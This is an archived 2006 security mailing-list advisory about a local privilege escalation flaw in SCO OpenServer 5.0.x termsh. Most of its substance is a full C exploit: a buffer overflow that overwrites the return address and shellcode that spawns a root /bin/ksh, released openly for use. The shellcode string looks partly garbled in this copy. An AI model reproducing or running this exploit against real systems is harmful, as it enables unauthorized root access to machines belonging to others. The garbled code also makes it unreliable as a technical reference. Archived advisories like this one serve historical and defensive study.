

[EXPL] SCO Openserver termsh Privileges Escalation (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00007.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 3 Jan 2006 10:11:59 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

SCO Openserver termsh Privileges Escalation (Exploit)

SUMMARY

A vulnerability on SCO Openserver allows attackers to gain access to the /etc/passwd and /etc/shadow files.

DETAILS

Vulnerable Systems:

- * SCO Openserver 5.0

Exploit:

/*

hi all

I RoD hEDoR

my web <http://www.lezr.com/vb>

-----[L - G - H]-----

SCO Openserver 5.0.x exploit

[EXPL] SCO Openserver termsh Privileges Escalation (Exploit)

attacker allowing for use this
flaw to gain write access to /etc/passwd or /etc/shadow

```
*/
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x68\xff\xf8\xff\x3c\x6a\x65\x89"
"\xe6\xf7\x56\x04\xf6\x16\x31\xc0"
"\x50\x68"/ksh"/\x68"/bin"/\x89"
"\xe3\x50\x50\x53\xb0\x3b\xff\xd6";

int main(int argc,char* argv[])
{
char* buffer;
char* arg = "-o";
char *env[] = {"HISTORY=/dev/null",NULL};
long eip,ptr;
int i;
printf("[ SCO Openserver 5.0.7 termsh local privilege escalation
exploit\n");
if(argc < 2)
{
printf("[ Error : [path]\n[ Example: %s
/opt/K/SCO/Unix/5.0.7Hw/usr/lib/sysadm/termsh\n",argv[0]);
exit(0);
}
eip = 0xa2080853;
buffer = malloc(7449 + strlen(shellcode));
memset(buffer,'\x00',7449 + strlen(shellcode));
ptr = (long)buffer + strlen(shellcode);
strncpy(buffer,shellcode,strlen(shellcode));
for(i = 1;i <= 1862;i++)
{
memcpy((char*)ptr,(char*)&eip,4);
ptr = ptr + 4;
}
execle(argv[1],argv[1],arg,buffer,NULL,env);
exit(0);
}

/* Eof */
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:rodhedor@xxxxxxxxxxxxx>> rod
hedor.

[EXPL] SCO Openserver termsh Privileges Escalation (Exploit)

=====
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: [*\[NT\] Nortel SSL VPN Cross Site Scripting and Command Execution*](#)
 - Next by Date: [*\[UNIX\] IceWarp Web Mail Multiple File Inclusion Vulnerabilities*](#)
 - Previous by thread: [*\[NT\] Nortel SSL VPN Cross Site Scripting and Command Execution*](#)
 - Next by thread: [*\[UNIX\] IceWarp Web Mail Multiple File Inclusion Vulnerabilities*](#)
 - Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)